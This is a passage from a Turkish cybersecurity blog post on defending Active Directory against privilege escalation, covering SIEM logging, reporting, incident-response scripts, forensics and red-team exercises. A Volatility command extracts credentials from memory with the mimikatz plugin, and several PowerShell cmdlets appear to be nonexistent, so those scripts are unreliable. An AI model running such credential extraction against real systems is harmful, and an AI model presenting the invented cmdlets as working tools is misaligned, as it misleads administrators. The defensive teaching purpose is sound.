class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\"><span class=\"d813de27\">powershell<\/span><\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre><span class=\"token comment\"># Microsoft 365 Defender entegrasyonu<\/span>\r\n<span class=\"token function\">Connect-MsolService<\/span>\r\n<span class=\"token function\">Enable-MsolDevice<\/span> <span class=\"token operator\">-<\/span>DeviceId <span class=\"token punctuation\">(<\/span><span class=\"token function\">Get-MsolDevice<\/span> <span class=\"token operator\">-<\/span>All<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span>DeviceId\r\n\r\n<span class=\"token comment\"># Azure AD Identity Protection<\/span>\r\n<span class=\"token function\">Set-AzureADPolicy<\/span> <span class=\"token operator\">-<\/span>Definition @<span class=\"token string\">'\r\n{\r\n    \"displayName\": \"Block Legacy Auth\",\r\n    \"state\": \"enabled\"\r\n}\r\n'<\/span>@<\/pre>\r\n<\/div>\r\n<hr>\r\n<h2>\ud83d\udcc8&nbsp;<strong>Monitoring ve Reporting<\/strong><\/h2>\r\n<h3><strong>SIEM Entegrasyonu<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\"><span class=\"d813de27\">powershell<\/span><\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre><span class=\"token comment\"># Custom Windows Event koleksiyonu<\/span>\r\nwevtutil<span class=\"token punctuation\">.<\/span>exe <span class=\"token function\">sl<\/span> Security <span class=\"token operator\">\/<\/span>ms:1073741824\r\nwevtutil<span class=\"token punctuation\">.<\/span>exe <span class=\"token function\">sl<\/span> <span class=\"token string\">\"Microsoft-Windows-Windows Defender\/Operational\"<\/span> <span class=\"token operator\">\/<\/span>ms:1073741824\r\n\r\n<span class=\"token comment\"># Splunk forwarder konfig&uuml;rasyonu<\/span>\r\n&amp; <span class=\"token string\">\"<span class=\"token variable\">$SplunkHome<\/span>\\bin\\splunk.exe\"<\/span> add monitor <span class=\"token string\">\"C:\\Windows\\System32\\winevt\\Logs\\Security.evtx\"<\/span><\/pre>\r\n<\/div>\r\n<h3><strong>&Ouml;zel Raporlama<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\"><span class=\"d813de27\">powershell<\/span><\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre><span class=\"token comment\"># Daily security report<\/span>\r\n<span class=\"token keyword\">function<\/span> <span class=\"token function\">Get-ADSecurityReport<\/span> <span class=\"token punctuation\">{<\/span>\r\n    <span class=\"token variable\">$report<\/span> = @<span class=\"token punctuation\">{<\/span>\r\n        KerberoastingAttempts = <span class=\"token punctuation\">(<\/span><span class=\"token function\">Get-KerberoastingEvents<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span>Count\r\n        ASREPRoastingAttempts = <span class=\"token punctuation\">(<\/span><span class=\"token function\">Get-ASREPRoastingEvents<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span>Count\r\n        PtHEvents = <span class=\"token punctuation\">(<\/span><span class=\"token function\">Get-PtHEvents<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span>Count\r\n        GPOChanges = <span class=\"token punctuation\">(<\/span><span class=\"token function\">Get-GPOChanges<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span>Count\r\n    <span class=\"token punctuation\">}<\/span>\r\n    <span class=\"token keyword\">return<\/span> <span class=\"token variable\">$report<\/span>\r\n<span class=\"token punctuation\">}<\/span><\/pre>\r\n<\/div>\r\n<hr>\r\n<h2>\ud83d\udea8&nbsp;<strong>Acil M&uuml;dahale Plan\u0131<\/strong><\/h2>\r\n<h3><strong>1. Tespit Edilen Sald\u0131r\u0131 Senaryolar\u0131<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\"><span class=\"d813de27\">powershell<\/span><\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre><span class=\"token comment\"># Automated incident response<\/span>\r\n<span class=\"token keyword\">function<\/span> <span class=\"token function\">Invoke-ADIncidentResponse<\/span> <span class=\"token punctuation\">{<\/span>\r\n    <span class=\"token keyword\">param<\/span><span class=\"token punctuation\">(<\/span><span class=\"token variable\">$AttackType<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token variable\">$CompromisedAccount<\/span><span class=\"token punctuation\">)<\/span>\r\n    \r\n    <span class=\"token keyword\">switch<\/span> <span class=\"token punctuation\">(<\/span><span class=\"token variable\">$AttackType<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span>\r\n        <span class=\"token string\">\"Kerberoasting\"<\/span> <span class=\"token punctuation\">{<\/span>\r\n            <span class=\"token function\">Reset-ADAccountPassword<\/span> <span class=\"token operator\">-<\/span>Identity <span class=\"token variable\">$CompromisedAccount<\/span>\r\n            <span class=\"token function\">Revoke-KerberosTickets<\/span> <span class=\"token operator\">-<\/span>Identity <span class=\"token variable\">$CompromisedAccount<\/span>\r\n        <span class=\"token punctuation\">}<\/span>\r\n        <span class=\"token string\">\"ASREPRoasting\"<\/span> <span class=\"token punctuation\">{<\/span>\r\n            <span class=\"token function\">Enable-ADAccountPreAuth<\/span> <span class=\"token operator\">-<\/span>Identity <span class=\"token variable\">$CompromisedAccount<\/span>\r\n            <span class=\"token function\">Reset-ADAccountPassword<\/span> <span class=\"token operator\">-<\/span>Identity <span class=\"token variable\">$CompromisedAccount<\/span>\r\n        <span class=\"token punctuation\">}<\/span>\r\n        <span class=\"token string\">\"PtH\"<\/span> <span class=\"token punctuation\">{<\/span>\r\n            <span class=\"token function\">Revoke-Sessions<\/span> <span class=\"token operator\">-<\/span>Identity <span class=\"token variable\">$CompromisedAccount<\/span>\r\n            <span class=\"token function\">Reset-ADAccountPassword<\/span> <span class=\"token operator\">-<\/span>Identity <span class=\"token variable\">$CompromisedAccount<\/span>\r\n        <span class=\"token punctuation\">}<\/span>\r\n    <span class=\"token punctuation\">}<\/span>\r\n<span class=\"token punctuation\">}<\/span><\/pre>\r\n<\/div>\r\n<h3><strong>2. Forensics ve Analysis<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\">&nbsp;<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre><span class=\"token comment\"># Memory forensics i&ccedil;in Volatility<\/span>\r\nvolatility <span class=\"token parameter variable\">-f<\/span> memory.dmp <span class=\"token parameter variable\">--profile<\/span><span class=\"token operator\">=<\/span>Win10x64_18362 pslist\r\nvolatility <span class=\"token parameter variable\">-f<\/span> memory.dmp <span class=\"token parameter variable\">--profile<\/span><span class=\"token operator\">=<\/span>Win10x64_18362 mimikatz\r\n\r\n<span class=\"token comment\"># Disk forensics<\/span>\r\nftkimager <span class=\"token parameter variable\">--source<\/span> C: <span class=\"token parameter variable\">--dest<\/span> C:<span class=\"token punctuation\">\\<\/span>forensics<span class=\"token punctuation\">\\<\/span>image.aff4<\/pre>\r\n<\/div>\r\n<hr>\r\n<h2>\ud83d\udcda&nbsp;<strong>E\u011fitim ve Fark\u0131ndal\u0131k<\/strong><\/h2>\r\n<h3><strong>Red Team Egzersizleri<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\"><span class=\"d813de27\">yaml<\/span><\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre><span class=\"token comment\"># AD security assessment plan:<\/span>\r\n<span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">Week 1<\/span><span class=\"token punctuation\">:<\/span> Kerberoasting simulation\r\n<span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">Week 2<\/span><span class=\"token punctuation\">:<\/span> AS<span class=\"token punctuation\">-<\/span>REP Roasting simulation  \r\n<span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">Week 3<\/span><span class=\"token punctuation\">:<\/span> PtH\/PtT simulation\r\n<span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">Week 4<\/span><span class=\"token punctuation\">:<\/span> GPO abuse simulation\r\n<span class=\"token punctuation\">-<\/span> <span class=\"token key atrule\">Week 5<\/span><span class=\"token punctuation\">:<\/span> Full attack chain<\/pre>\r\n<\/div>\r\n<h3><strong>Blue Team E\u011fitimi<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\"><span class=\"d813de27\">powershell<\/span><\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre><span class=\"token comment\"># Defensive techniques workshop:<\/span>\r\n<span class=\"token comment\"># 1. Advanced logging configuration<\/span>\r\n<span class=\"token comment\"># 2. Real-time monitoring<\/span>\r\n<span class=\"token comment\"># 3. Incident response procedures<\/span>\r\n<span class=\"token comment\"># 4. Forensic analysis techniques<\/span><\/pre>\r\n<\/div>\r\n<hr>\r\n<h2>\ud83d\udca1&nbsp;<strong>Sonu&ccedil; ve &Ouml;neriler<\/strong><\/h2>\r\n<h3><strong>&Ouml;ncelikli Eylemler:<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\">&nbsp;<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre>\u2705 <span class=\"token punctuation\">[<\/span>AC\u0130L<span class=\"token punctuation\">]<\/span> T&uuml;m admin hesaplar\u0131nda MFA zorunlulu\u011fu\r\n\u2705 <span class=\"token punctuation\">[<\/span>AC\u0130L<span class=\"token punctuation\">]<\/span> LSA Protection ve Credential Guard etkinle\u015ftirme\r\n\u2705 <span class=\"token punctuation\">[<\/span>HAFTALIK<span class=\"token punctuation\">]<\/span> Kerberoasting ve AS-REP Roasting denetimi\r\n\u2705 <span class=\"token punctuation\">[<\/span>AYLIK<span class=\"token punctuation\">]<\/span> GPO izinleri ve yap\u0131land\u0131rmas\u0131 denetimi\r\n\u2705 <span class=\"token punctuation\">[<\/span>S&Uuml;REKL\u0130<span class=\"token punctuation\">]<\/span> Security monitoring ve threat hunting<\/pre>\r\n<\/div>\r\n<h3><strong>Uzun Vadeli Stratejiler:<\/strong><\/h3>\r\n<div class=\"md-code-block md-code-block-dark\">\r\n<div class=\"md-code-block-banner-wrap\">\r\n<div class=\"md-code-block-banner md-code-block-banner-lite\">\r\n<div class=\"_121d384\">\r\n<div class=\"d2a24f03\">&nbsp;<\/div>\r\n<\/div>\r\n<\/div>\r\n<\/div>\r\n<pre>\ud83d\udd12 Zero Trust Architecture implementasyonu\r\n\ud83d\udd12 Privileged Access Management <span class=\"token punctuation\">(<\/span>PAM<span class=\"token punctuation\">)<\/span> &ccedil;&ouml;z&uuml;mleri\r\n\ud83d\udd12 Microsoft Defender <span class=\"token keyword\">for<\/span> Identity entegrasyonu\r\n\ud83d\udd12 Regular red team\/purple team egzersizleri<\/pre>\r\n<\/div>\r\n<p class=\"ds-markdown-paragraph\">Bu kapsaml\u0131 rehber, Active Directory g&uuml;venli\u011finizi bir sonraki seviyeye ta\u015f\u0131man\u0131z i&ccedil;in gerekli t&uuml;m ara&ccedil;lar\u0131, teknikleri ve stratejileri i&ccedil;ermektedir. Unutmay\u0131n:&nbsp;<strong>\"Sald\u0131rganlar sadece bir a&ccedil;\u0131k bulmak zorunda, siz ise t&uuml;m a&ccedil;\u0131klar\u0131 kapatmak.\"<\/strong> \ud83d\udd10<\/p>","excerpt":"Windows Active Directory'de Ayr\u0131cal\u0131k Y\u00fckseltme Sald\u0131r\u0131lar\u0131: 5 Kritik Teknik ve Korunma Y\u00f6ntemleri Giri\u015f Windows Active Directory (AD)...","created_at":"2025-05-20 09:43:00","updated_at":"2026-09-08 03:56:48","category_id":7,"view_count":776,"reading_time":6,"status":"published","editor_choice":0,"is_editor_choice":0,"published_at":"2025-05-20 09:43:00","featured_image":"resimyok.jpg","slug":"1089-2","category_name":"Cyber Security","category_slug":"cyber-security","category_color":"#10b981"}